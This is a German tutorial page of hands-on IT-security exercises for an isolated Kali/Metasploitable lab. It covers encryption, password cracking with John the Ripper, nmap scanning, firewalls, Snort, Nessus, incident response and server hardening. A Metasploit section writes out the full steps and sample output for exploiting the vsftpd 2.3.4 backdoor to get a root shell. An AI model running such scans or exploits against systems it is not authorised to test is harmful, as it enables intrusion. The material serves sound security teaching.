Security Lab
Praktische Übungen zur IT-Sicherheit – von Verschlüsselung bis Penetration Testing
Security Lab
Praktische Übungen sind der beste Weg, IT-Sicherheit zu lernen. Diese Seite bietet eine Sammlung von Übungen – von einfachen Verschlüsselungsverfahren bis zu fortgeschrittenen Penetration-Testing-Techniken. Wichtig: Alle Übungen nur in einer isolierten Lab-Umgebung durchführen!
1. Lab-Umgebung einrichten
Für Security-Übungen brauchen Sie eine isolierte Umgebung mit Angreifer- und Zielsystemen.
Angreifer: Kali Linux
Kali Linux ist die Standard-Distribution für Penetration Testing.
- Laden Sie Kali Linux als VM-Image von kali.org herunter.
- Importieren Sie die VM in VirtualBox/VMware.
- Stellen Sie das Netzwerk auf "Host-Only" oder "Internes Netz".
- Login: root / kali (Standard).
Ziel: Metasploitable 2
Metasploitable ist eine absichtlich unsichere Linux-VM für Übungszwecke.
- Laden Sie Metasploitable 2 von sourceforge herunter.
- Importieren Sie die VM in VirtualBox/VMware.
- Stellen Sie das Netzwerk auf "Host-Only" (gleiches Netz wie Kali).
- Starten Sie die VM – sie hat viele offene Dienste.
Isoliertes Netzwerk
Konfigurieren Sie ein isoliertes Netzwerk:
- In VirtualBox: "Datei" > "Netzwerkmanager" > "Host-Only-Netzwerke".
- Erstellen Sie ein neues Host-Only-Netzwerk (z.B. 192.168.100.0/24).
- Weisen Sie beiden VMs dieses Netzwerk zu.
- Testen Sie die Verbindung:
ping 192.168.100.xxx.
2. Kryptographie-Grundlagen (Level 1)
Übungen zu Verschlüsselung und Hashfunktionen mit OpenSSL und Python.
- Erstellen Sie eine Textdatei:
echo "Geheime Nachricht" > geheim.txt. - Verschlüsseln Sie die Datei mit AES-256-CBC:
openssl enc -aes-256-cbc -salt -in geheim.txt -out geheim.enc -pass pass:meinpasswort. - Entschlüsseln Sie die Datei:
openssl enc -d -aes-256-cbc -in geheim.enc -out geheim-dec.txt -pass pass:meinpasswort. - Vergleichen Sie die Dateien:
diff geheim.txt geheim-dec.txt.
echo "Geheime Nachricht" > geheim.txt
# Verschlüsseln
openssl enc -aes-256-cbc -salt -in geheim.txt -out geheim.enc -pass pass:meinpasswort
# Entschlüsseln
openssl enc -d -aes-256-cbc -in geheim.enc -out geheim-dec.txt -pass pass:meinpasswort
# Vergleich
diff geheim.txt geheim-dec.txt # Keine Ausgabe = identisch
- Erstellen Sie einen Hash einer Datei mit SHA256:
sha256sum geheim.txt. - Ändern Sie die Datei minimal (z.B. Punkt hinzufügen).
- Berechnen Sie den Hash erneut – vergleichen Sie die Änderung.
- Erstellen Sie einen Hash eines Passworts:
echo -n "meinpasswort" | sha256sum.
sha256sum geheim.txt
# Nach Änderung
echo "Geheime Nachricht." > geheim2.txt
sha256sum geheim2.txt
# Passwort hashen (ohne Zeilenumbruch)
echo -n "meinpasswort" | sha256sum
3. Passwort-Sicherheit (Level 1)
Übungen zu Passwortstärke und Hashing.
Voraussetzung: Kali Linux oder installiertes John the Ripper.
- Erstellen Sie eine Datei mit einem einfachen Passwort-Hash:
echo "testuser:$(openssl passwd -1 -salt xyz 123456)" > passwd.txt. - Führen Sie John the Ripper aus:
john passwd.txt. - Zeigen Sie das geknackte Passwort an:
john --show passwd.txt.
echo "testuser:$(openssl passwd -1 -salt xyz 123456)" > passwd.txt
# John ausführen
john passwd.txt
# Ergebnis anzeigen
john --show passwd.txt
- Installieren Sie "cracklib-check" (Linux):
sudo apt install libcrack2-utils. - Testen Sie verschiedene Passwörter:
echo "123456" | cracklib-checkecho "Passwort123!" | cracklib-checkecho "MeinSuperSicheresPasswort2024!" | cracklib-check
sudo apt install libcrack2-utils
# Test verschiedener Passwörter
echo "123456" | cracklib-check
123456: es ist zu kurz
echo "Passwort123!" | cracklib-check
Passwort123!: OK
echo "MeinSuperSicheresPasswort2024!" | cracklib-check
MeinSuperSicheresPasswort2024!: OK
4. Netzwerksicherheit (Level 2)
Firewalls, Port-Scans und Netzwerk-Analyse.
Verwenden Sie Kali Linux und scannen Sie Metasploitable.
- Finden Sie die IP-Adresse von Metasploitable:
ip addr show(auf Metasploitable). - Führen Sie einen einfachen TCP-Scan durch:
nmap -sS 192.168.100.xxx. - Führen Sie einen detaillierten Scan mit Service-Erkennung durch:
nmap -sV 192.168.100.xxx. - Führen Sie einen aggressiven Scan durch:
nmap -A 192.168.100.xxx.
nmap -sS 192.168.100.10
# Service-Versionen erkennen
nmap -sV 192.168.100.10
# Aggressiver Scan (OS + Version + Scripts)
nmap -A 192.168.100.10
# Scan aller Ports (1-65535)
nmap -p- 192.168.100.10
Konfigurieren Sie eine einfache Firewall auf einem Linux-System.
- Setzen Sie die Default-Policy auf DROP:
sudo iptables -P INPUT DROP. - Erlauben Sie SSH (Port 22):
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT. - Erlauben Sie HTTP (Port 80):
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT. - Erlauben Sie bestehende Verbindungen:
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT. - Speichern Sie die Regeln:
sudo iptables-save > /etc/iptables/rules.v4.
sudo iptables -P INPUT DROP
# SSH erlauben
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# HTTP erlauben
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
# Bestehende Verbindungen erlauben
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Regeln speichern (Debian/Ubuntu)
sudo apt install iptables-persistent
sudo iptables-save > /etc/iptables/rules.v4
5. Intrusion Detection (IDS/IPS) mit Snort (Level 2)
Snort ist ein Open-Source-IDS/IPS zur Erkennung von Angriffen.
- Installieren Sie Snort:
sudo apt install snort. - Konfigurieren Sie das Netzwerk während der Installation (z.B. 192.168.100.0/24).
- Testen Sie Snort:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0. - Führen Sie von einem anderen System einen Port-Scan aus (nmap) und beobachten Sie die Alerts.
sudo apt update
sudo apt install snort
# Snort im Konsolenmodus starten
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
# Von einem anderen System Port-Scan ausführen
nmap -sS 192.168.100.x
6. Penetration Testing (Level 3)
Systematische Sicherheitstests mit verschiedenen Tools.
Hinweis: Nessus ist kommerziell, aber es gibt eine kostenlose "Home"-Version.
- Laden Sie Nessus von tenable.com herunter und installieren Sie es.
- Starten Sie Nessus:
sudo systemctl start nessusd. - Öffnen Sie den Browser: https://localhost:8834.
- Führen Sie einen Basic Network Scan gegen Metasploitable durch.
- Analysieren Sie die gefundenen Schwachstellen.
sudo systemctl start nessusd
sudo systemctl enable nessusd
# Im Browser öffnen
https://localhost:8834
# Nach der Installation: Scankonfiguration
Target: 192.168.100.10
Scan-Typ: Basic Network Scan
Ergebnis: Liste kritischer Schwachstellen
7. Metasploit Framework (Level 3)
Metasploit ist das Standard-Tool für Exploit-Entwicklung und Penetration Testing.
Ziel: Metasploitable 2, Dienst: vsftpd 2.3.4 (bekannte Backdoor).
- Starten Sie Metasploit:
msfconsole. - Suchen Sie nach vsftpd-Exploits:
search vsftpd. - Wählen Sie den Exploit:
use exploit/unix/ftp/vsftpd_234_backdoor. - Setzen Sie das Ziel:
set RHOST 192.168.100.10. - Führen Sie den Exploit aus:
run.
exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.100.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP double handler...
[*] 192.168.100.10:21 - Connected...
[*] 192.168.100.10:21 - Sending...
- Nach erfolgreichem Exploit haben Sie eine Meterpreter-Shell.
- Zeigen Sie Systeminformationen an:
sysinfo. - Zeigen Sie den aktuellen Benutzer:
getuid. - Navigieren Sie im Dateisystem:
pwd, ls, cd. - Beenden Sie die Session:
exit.
Computer : metasploitable
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
meterpreter > getuid
Server username: root
meterpreter > pwd
/
8. Incident Response – Reaktion auf Sicherheitsvorfälle (Level 3)
Simulation eines Angriffs und Wiederherstellung.
- Simulieren Sie einen Angriff (z.B. Port-Scan oder Exploit).
- Prüfen Sie die Log-Dateien:
/var/log/auth.log(SSH-Logins)/var/log/sysloglast– letzte Logins
- Finden Sie verdächtige Einträge mit
grep.
last
# Fehlgeschlagene SSH-Logins
grep "Failed password" /var/log/auth.log
# Aktuelle Verbindungen
netstat -tulpn
ss -tulpn
- Identifizieren Sie geänderte Dateien:
sudo find / -type f -mtime -1 -ls. - Prüfen Sie die Integrität kritischer Dateien mit
sha256sum(vorher/nachher). - Stellen Sie aus einem Backup wieder her (falls vorhanden).
sudo find / -type f -mtime -1 -ls 2>/dev/null
# Hash einer Datei prüfen (vorher notieren)
sha256sum /etc/passwd
# Backup einspielen (Beispiel mit rsync)
rsync -av /backup/etc/passwd /etc/passwd
9. Troubleshooting – Häufige Probleme
Typische Sicherheitsprobleme erkennen und lösen.
Problem: "Permission denied"
Szenario: Sie erhalten "Permission denied", obwohl Sie der Besitzer sind.
Lösungsansätze:
- Dateirechte prüfen:
ls -la datei - Besitzer prüfen:
stat datei - Rechte ändern:
chmod u+w datei - ACL prüfen:
getfacl datei
Problem: Firewall blockiert Verbindung
Szenario: Ein Dienst ist lokal erreichbar, aber von außen nicht.
Lösungsansätze:
- Firewall-Status prüfen:
sudo iptables -L -nodersudo ufw status - Port-Test lokal:
telnet localhost 80 - Port-Test extern:
nmap -p 80 externe-ip
Problem: Metasploit Exploit funktioniert nicht
Szenario: Exploit schlägt fehl.
Lösungsansätze:
- Ziel-IP und Port prüfen:
set RHOST, set RPORT - Payload prüfen:
show payloads - Dienst-Erreichbarkeit testen:
nc -zv ziel-ip port
10. Security Checkliste für Server
Eine Checkliste für die Absicherung von Servern.
- Alle Standardpasswörter geändert (root, Admin, Datenbanken)
- SSH: Root-Login deaktiviert, Port geändert (optional), nur Schlüssel-Authentifizierung
- Firewall aktiviert und nur benötigte Ports offen
- Automatische Sicherheitsupdates aktiviert
- Nicht benötigte Dienste deinstalliert oder gestoppt
- Fail2ban für Brute-Force-Schutz installiert
- Logging aktiviert und zentral gesammelt (rsyslog, logwatch)
- Datei-Integritätsprüfung (AIDE, Tripwire) eingerichtet
- Regelmäßige Backups und Wiederherstellungstests
- Verschlüsselung für sensible Daten (Festplatten, Backups)
- Benutzerkonten regelmäßig auf Inaktivität prüfen
- sudo-Rechte auf das Minimum beschränken (Principle of Least Privilege)
- Kernel und System regelmäßig aktualisiert
- Audit-Trail für kritische Änderungen aktiviert
- Einbruchserkennung (IDS/IPS) installiert (z.B. Snort, OSSEC)
Weiterführende Themen
Theoretische Grundlagen zu Sicherheitsthemen.
Zur IT-SicherheitFirewalls, VPNs, IDS/IPS im Detail.
Zu NetzwerksicherheitVerschlüsselungsverfahren und Protokolle.
Zur KryptographieNetzwerk-Grundlagen für Sicherheitsexperten.
Zu Networking